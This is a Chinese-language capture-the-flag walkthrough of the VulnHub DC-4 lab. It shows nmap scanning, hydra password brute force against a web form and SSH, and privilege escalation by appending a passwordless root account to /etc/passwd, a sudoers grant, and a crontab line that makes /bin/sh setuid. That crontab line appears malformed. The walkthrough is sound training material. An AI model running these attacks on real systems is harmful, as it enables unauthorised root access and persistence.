下载链接:https://download.vulnhub.com/dc/DC-4.zip
同DC-3 这个靶机也是只有一个flag。
- 全面信息搜集
- hydra爆破登录和ssh密码
- teehee命令(写入文件内容)提权
- /etc/passwd & /etc/sudoers 文件利用
目录
<1> 信息搜集
<2> hydra爆破登录密码
<3> Privilege Escalation(提权)
(1)teehee添加root权限组用户提权
(2)写入/etc/sudoers令charles获得(root)ALL权限
(3) 写入定时任务执行脚本提权
<1> 信息搜集
扫一下靶机的ip
nmap -sP 192.168.236.0/24 扫描一下靶机ip
靶机ip: 192.168.236.134
nmap -A -p 1-65535 192.168.236.134 扫描一下靶机开放哪些服务
开放了22端口的ssh服务,以及80端口的http服务
尝试弱口令登录 失败。。
<2> hydra爆破登录密码
hydra 爆破一下admin的密码(burp的repeater模块也可以)
hydra -l admin -P /home/kali/Desktop/rockyou.txt 192.168.236.134 http-form-post '/login.php:username=^USER^&password=^PASS^:S=logout'
密码为 happy
在Web表单中成功使用它的关键是确定表单对失败登录的响应方式与成功登录的响应方式。 如确定失败的登录消息,如怎么识别出成功的消息并使用它。 要使用成功的消息,我们将使用“S =成功消息”替换失败的登录消息
登录 看见了执行命令的接口 /command.php
抓包 发现参数为radio
进入家目录 发现了三个用户 charles jim 和sam
只能对jim操作 cd /home/jim 发现了backups
看见了 旧密码的备份文件或许可以用来爆破用户密码
把他cat出来 复制到kali的pass.txt 里 三个用户写入user.txt
hydra爆破用户密码
hydra -L user.txt -P pass.txt 192.168.236.134 ssh
只爆出来了jim的密码 哈哈哈 毕竟在jim那里找到的,其他人爆不出来也没关系
我们 ssh登录jim ssh jim@192.168.236.134
登录之后看见一句 you have mail
我们find / -name *mail* 找到 /var/spool/mail 里有jim的mail
得到charles的密码 ^xHhA&hvim0y
<3> Privilege Escalation(提权)
charles用户 teehee命令有root权限
teehee --help 发现teehee的参数a可以在文件后面加入内容
(1)teehee添加root权限组用户提权
/etc/passwd文件格式
root:xx:0:0:root:/root:/bin/bash
用户名:密码(x代表加密密码):UID:GID:用户全名或本地账号:家目录:登陆后的终端命令
这里我们执行
echo "1vxyz::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
然后 su 1vxyz即可 得到root权限
(2)写入/etc/sudoers令charles获得(root)ALL权限
echo "charles ALL=(root) ALL" | sudo teehee -a /etc/sudoers
sudo su 输入charles密码 成功提权为root (也可以sudo vi 然后末尾 :!/bin/bash)
(3) 写入定时任务执行脚本提权
通过teehee的sudo提升权限以 root身份写入crontab计划任务通过执行获取root权限
crontab的基本格式:
f1 f2 f3 f4 f5 command
分 时 日 月 周 命令
时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限
echo "****root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab